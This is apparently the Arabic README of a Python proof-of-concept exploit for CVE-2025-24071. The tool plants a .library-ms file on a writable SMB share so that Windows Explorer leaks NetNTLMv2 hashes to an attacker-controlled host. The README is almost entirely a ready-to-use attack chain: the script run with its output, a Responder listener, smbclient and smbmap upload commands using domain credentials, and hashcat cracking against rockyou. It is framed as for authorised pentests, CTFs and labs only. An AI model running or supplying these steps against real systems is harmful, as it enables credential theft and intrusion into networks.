
أداة إثبات مفهوم بلغة Python للثغرة CVE-2025-24071 تقوم بإنشاء ملف .library-ms لإجبار Windows Explorer على تسريب تجزئات NetNTLMv2 عبر SMB لالتقاطها وكسرها.
CVE-2025-24071 — استغلال إجبار NTLM عبر .library-ms (طريقة SMB / TAR)
يطلب عنوان IP الخاص بالهجوم واسم ملف، ثم يكتب ملف .library-ms يشير إلى
\\<IP>\share، ويحزمه داخل exploit.tar. عندما يتصفح Explorer المجلد الذي يصل إليه
ملف .library-ms المفكوك، فإنه يحل مسار UNC هذا تلقائيًا ويسرّب NTLMv2 الخاص بالحساب
إلى المستمع لديك — دون الحاجة إلى أي نقرة.
⚠️ الملف
.library-msالمفكوك هو ما يُفعّل الاستغلال — وليس ملف.tar. ملف.tarالموجود على المشاركة خامل؛ فـ Explorer لا يحلل ملفات tarball. يجب عليك إيصال ملف.library-msنفسه إلى المشاركة كملف مفكوك. تعتمد طريقة القيام بذلك على الأداة (أدناه).
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms إلى مشاركة قابلة للكتابةsmbclient — ارفع ملف .tar، ثم استخرجه على الخادم باستخدام tar x (مما يُسقط
ملف .library-ms المفكوك بجانبه):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — لا يحتوي على خطوة استخراج، لذا ارفع ملف .library-ms المفكوك مباشرةً
(رفع ملف .tar هنا لا يفعل شيئًا — فهو غير قادر على فك ضغطه):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
تأكد من وصوله مفكوكًا على المشاركة:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ للاستخدام في اختبارات الاختراق المصرّح بها / CTF / المختبر فقط ☧